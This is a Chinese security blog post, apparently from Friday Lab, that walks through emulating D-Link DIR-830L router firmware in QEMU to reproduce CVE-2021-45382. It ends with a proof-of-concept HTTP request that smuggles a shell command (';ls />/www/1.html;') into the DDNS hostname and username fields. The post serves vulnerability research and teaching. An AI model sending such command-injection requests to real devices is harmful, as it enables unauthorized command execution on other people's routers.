星期五实验室
实验环境
➜ ~ qemu-system-mips --version
QEMU emulator version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.40)
Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers
环境安装相关指令
git clone https://github.com/devttys0/binwalk.git #安装binwalk
sudo apt-get install qemu qemu-system qemu-user-static binfmt-support #安装qemu
sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev #安装C/C++编译器、liblzma、liblzo 和 zlib 相关依赖库
#安装sasquatch
git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
chmod +x build.sh
./build.sh
下载固件
ftp://ftp2.dlink.com/PRODUCTS/DIR-830L/REVA/DIR-830L_REVA_FIRMWARE_1.00.B07.ZI
binwalk提取文件系统
binwalk -Me DIR830LA1_FW100B07.bin
➜ CVE-2021-45382 D-Link ls
DIR830LA1_FW100B07.bin _DIR830LA1_FW100B07.bin.extracted
网络配置
tunctl –t top0 –u root
ifconfig top0 192.168.10.1/24
ifconfig
配置QEMU虚拟环境
curl https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
curl https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
#!/bin/sh
qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0 -nographic
现在要把虚拟机和本机都配置到一个网段下:
ifconfig eth0 192.168.10.2/24
tar -czvf 1.tar squashfs-root/
scp 1.tar root@192.168.10.2:/root/
转到虚拟机,可以看到1.tar已经在目录下
解压
tar –zxvf 1.tar
然后将系统文件进行挂载
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
然后就可以直接chroot进入路由器系统了
chroot ./squashfs-root/ sh
ssh root@192.168.10.2
复现cve-2021-45382
然后等它倒数完就会直接进入登陆后的界面。
对该页面进行抓包,直接用转发到repeater构造POC。
cve的具体原理在此就不过多赘述了,毕竟这只是一个环境搭建的记录。
POST /ddns_check.ccp HTTP/1.1
Host: 192.168.10.2
Cookie: uid=AInkmYGrA6
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Tue, 26 Aug 2014 10:56:26 GMT
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
ccp_act=doCheck&ddnsHostName=;ls />/www/1.html;&ddnsUsername=;ls />/www/1.html;&ddnsPassword=123456
FRIDAY LAB
扫二维码|关注我们
星期五实验室
FRIDAY LAB
原文始发于微信公众号(星期五实验室):使用QEMU进行IOT固件的虚拟环境搭建
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论